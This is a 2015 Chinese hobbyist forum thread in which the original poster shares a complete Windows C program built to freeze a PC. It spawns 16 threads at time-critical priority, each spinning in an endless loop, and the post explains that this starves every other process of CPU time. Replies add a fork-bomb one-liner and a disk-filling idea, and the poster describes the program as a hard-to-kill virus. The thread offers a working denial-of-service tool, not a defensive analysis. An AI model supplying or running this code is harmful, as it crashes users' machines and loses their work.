找回密码
 立即注册→加入我们

QQ登录

只需一步,快速开始

搜索
热搜: 下载 VB C 实现 编写
查看: 3986|回复: 8

看!暴力抢CPU资源!

[复制链接]
发表于 2015-6-29 00:43:23 | 显示全部楼层 |阅读模式

欢迎访问技术宅的结界,请注册或者登录吧。

您需要 登录 才可以下载或查看,没有账号?立即注册→加入我们

×
  1. #include<Windows.h>
  2. #include<stdio.h>

  3. DWORD WINAPI ThreadProc(LPVOID pParam)
  4. {
  5.         CRITICAL_SECTION cs;
  6.         InitializeCriticalSection(&cs);
  7.         EnterCriticalSection(&cs);
  8.         for(;;);
  9.         DeleteCriticalSection(&cs);
  10.         return 0;
  11. }

  12. int main(int argc,char**argv)
  13. {
  14.         UINT i=0;
  15.         for(i=0;i<16;i++)
  16.         {
  17.                 HANDLE hThread=CreateThread(NULL,0,ThreadProc,NULL,0,NULL);
  18.                 SetThreadPriority(hThread,THREAD_PRIORITY_TIME_CRITICAL);
  19.                 CloseHandle(hThread);
  20.         }
  21.         ThreadProc(NULL);
  22.         return 0;
  23. }
复制代码
Windows的线程都是划分优先级的,上面的代码只有一个作用:死机。它能干掉绝大多数8核CPU以内的Windows系统的PC。
原理就是创建16个线程,每个线程都有很高的优先级(实时优先级)。然后所有的线程都进入临界区,跑死循环。这样Windows就很难再给别的进程提供时间片了。于是电脑就这样宕机了。
回复

使用道具 举报

发表于 2015-6-29 19:52:49 | 显示全部楼层
while(1) fork();
回复 赞! 靠!

使用道具 举报

KxIX 该用户已被删除
发表于 2015-7-2 04:36:38 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复 赞! 靠!

使用道具 举报

 楼主| 发表于 2015-7-2 16:33:43 来自手机 | 显示全部楼层
0x01810 发表于 2015-6-29 19:52
while(1) fork();

我这个省内存!
回复 赞! 靠!

使用道具 举报

发表于 2015-7-3 13:00:56 | 显示全部楼层
0xAA55 发表于 2015-7-2 16:33
我这个省内存!

这个有什么用呢?
回复 赞! 靠!

使用道具 举报

 楼主| 发表于 2015-7-4 00:00:19 | 显示全部楼层

可以在内存容量有限的条件下,有效地卡住电脑。
而不是因为内存不足无法运行最后被系统干掉。
越是稳定的病毒越难以干掉。
回复 赞! 靠!

使用道具 举报

发表于 2016-1-20 10:38:09 | 显示全部楼层

/clear hjj

本帖最后由 FFFFFFFE 于 2016-1-31 18:33 编辑

/clear hjj
回复

使用道具 举报

发表于 2018-3-3 19:46:49 | 显示全部楼层
循环写入文件硬盘不久炸了
回复 赞! 靠!

使用道具 举报

 楼主| 发表于 2018-3-4 17:09:39 | 显示全部楼层
Tao_Lu 发表于 2018-3-3 19:46
循环写入文件硬盘不久炸了

然而并不会。
回复 赞! 靠!

使用道具 举报

本版积分规则

QQ|Archiver|小黑屋|技术宅的结界 ( 滇ICP备16008837号 )|网站地图

GMT+8, 2024-11-24 10:10 , Processed in 0.036841 second(s), 27 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表